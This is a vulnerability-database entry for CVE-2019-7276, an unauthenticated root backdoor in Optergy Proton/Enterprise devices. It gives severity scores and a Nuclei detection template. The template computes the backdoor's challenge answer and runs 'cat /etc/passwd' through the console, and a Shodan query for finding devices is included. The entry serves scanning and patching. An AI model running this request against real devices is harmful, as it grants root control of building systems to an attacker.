SecurityContext

CVE-2019-7276: Optergy Proton/Enterprise - Unauthenticated RCE via Backdoor Console

Classification

  • Cvss score: 9.8
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.93384
  • Epss percentile: 0.99841
  • Cpe: cpe:2.3:a:optergy:enterprise:*:*:*:*:*:*:*:*, cpe:2.3:a:optergy:proton:*:*:*:*:*:*:*:*
  • Checked, none or zero: cwe

Metadata

  • Max-request: 2
  • Product: enterprise,proton
  • Shodan-query: html:"Optergy"
  • Vendor: optergy

Products

ProductIndexedUrl
optergy:enterpriseyes/v1/products/optergy/enterprise
optergy:protonyes/v1/products/optergy/proton

Labels

  • Name: Optergy Proton/Enterprise - Remote Code Execution
  • Impact: Attackers can execute arbitrary code with root privileges remotely, leading to complete control over affected devices.
  • Remediation: Apply security patches or updates provided by Optergy to disable or secure the backdoor console.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2019-7276
  • Not known: requirements

```yaml

id: CVE-2019-7276

info:

name: Optergy Proton/Enterprise - Unauthenticated RCE via Backdoor Console

author: daffainfo

severity: critical

description: |

Optergy Proton/Enterprise devices allow Remote Root Code Execution via a Backdoor Console.

impact: |

Unauthenticated attackers can exploit the backdoor console to execute arbitrary system commands with root privileges, leading to complete device compromise and control over building management systems.

remediation: |

Apply vendor-provided firmware updates or disable the affected console feature if possible.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2019-7276

- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/optergy_bms_backdoor_rce_cve_2019_7276.rb

- https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276

- https://www.zeroscience.mk/files/ioybms_gk_2019.pdf

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2019-7276

epss-score: 0.93384

epss-percentile: 0.99841

cpe: cpe:2.3:a:optergy:enterprise:*:*:*:*:*:*:*:*, cpe:2.3:a:optergy:proton:*:*:*:*:*:*:*:*

metadata:

max-request: 2

vendor: optergy

product: enterprise,proton

shodan-query: html:"Optergy"

tags: cve,cve2019,optergy,proton,backdoor,rce,intrusive,vkev,vuln

flow: http(1) && http(2)

http:

- raw:

- |

GET /tools/ajax/ConsoleResult.html?get HTTP/1.1

Host: {{Hostname}}

extractors:

- type: json

name: challenge

json:

- '.response.message'

internal: true

- raw:

- |

POST /tools/ajax/ConsoleResult.html HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

command=cat /etc/passwd&challenge={{challenge}}&answer={{ sha1(challenge) + md5(sha1(challenge)) }}

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "root:.*:0:0:"

- type: word

part: content_type

words:

- "application/json"

- type: status

status:

- 200

digest: 4a0a00473045022100850f6e15ec47d7ffcca33881eb6b9b9e79a2df3cc941f4c6f3502eadc7d29dbf022051c53cea6e776b8ceb8ec0a0cd923fdbeba45997c7ea89e1d1b6ad0820ebd857:922c64590222798bb761d5b6d8e72950

```